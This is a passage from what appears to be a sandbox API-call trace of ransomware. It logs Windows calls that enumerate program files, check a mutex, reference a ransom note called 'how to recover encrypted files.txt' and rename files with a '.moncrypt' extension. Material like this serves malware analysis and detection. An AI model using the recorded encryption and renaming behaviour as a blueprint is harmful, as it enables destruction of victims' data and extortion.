cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.818] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.819] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.819] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.819] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.819] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.819] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.819] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.820] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.820] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.820] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.820] GlobalUnlock (hMem=0x440004) returned 0 [0058.820] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.820] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.820] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.820] GlobalUnlock (hMem=0x440004) returned 0 [0058.820] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.820] GlobalUnlock (hMem=0x44000c) returned 0 [0058.820] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.820] CharLowerBuffW (in: lpsz="softedges.png", cchLength=0xd | out: lpsz="softedges.png") returned 0xd [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.821] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\softedges.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 0x54e280 [0058.821] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.821] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.821] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.821] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", dwFileAttributes=0x20) returned 0 [0058.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.821] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.moncrypt")) returned 0 [0058.822] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.822] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.822] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.822] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.822] GlobalUnlock (hMem=0x44000c) returned 0 [0058.822] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.822] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.822] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.822] GlobalUnlock (hMem=0x44000c) returned 0 [0058.822] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.822] GlobalUnlock (hMem=0x440004) returned 0 [0058.822] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.822] CharLowerBuffW (in: lpsz="vignettemask25.png", cchLength=0x12 | out: lpsz="vignettemask25.png") returned 0x12 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.822] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 0x54e280 [0058.823] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.823] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.823] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.823] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", dwFileAttributes=0x20) returned 0 [0058.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.823] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.moncrypt")) returned 0 [0058.823] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.824] GlobalLock (hMem=0x440004) returned 0x550170 [0058.824] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.824] GlobalUnlock (hMem=0x440004) returned 0 [0058.824] GlobalLock (hMem=0x440004) returned 0x550170 [0058.824] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.824] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.824] GlobalUnlock (hMem=0x440004) returned 0 [0058.824] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.824] GlobalUnlock (hMem=0x44000c) returned 0 [0058.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x443b3580, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x443b3580, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.824] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.824] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.824] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.824] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.824] GlobalUnlock (hMem=0x44000c) returned 0 [0058.824] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.824] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.824] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.824] GlobalUnlock (hMem=0x44000c) returned 0 [0058.824] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.824] GlobalUnlock (hMem=0x440004) returned 0 [0058.824] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.824] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x443b3580, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x443b3580, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.824] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.824] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.825] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.825] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.825] GlobalUnlock (hMem=0x440004) returned 0 [0058.825] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.825] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.825] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.825] GlobalUnlock (hMem=0x440004) returned 0 [0058.825] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.825] GlobalUnlock (hMem=0x44000c) returned 0 [0058.825] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.825] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.825] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.825] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.825] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.825] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.825] GlobalUnlock (hMem=0x44000c) returned 0 [0058.825] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.825] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.825] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.825] GlobalUnlock (hMem=0x44000c) returned 0 [0058.825] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.825] GlobalUnlock (hMem=0x440004) returned 0 [0058.825] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.825] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.825] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.825] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.825] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.825] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.825] GlobalUnlock (hMem=0x440004) returned 0 [0058.826] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.826] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.826] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.826] GlobalUnlock (hMem=0x440004) returned 0 [0058.826] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.826] GlobalUnlock (hMem=0x44000c) returned 0 [0058.826] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.826] FindNextFileW (in: hFindFile=0x54e240, 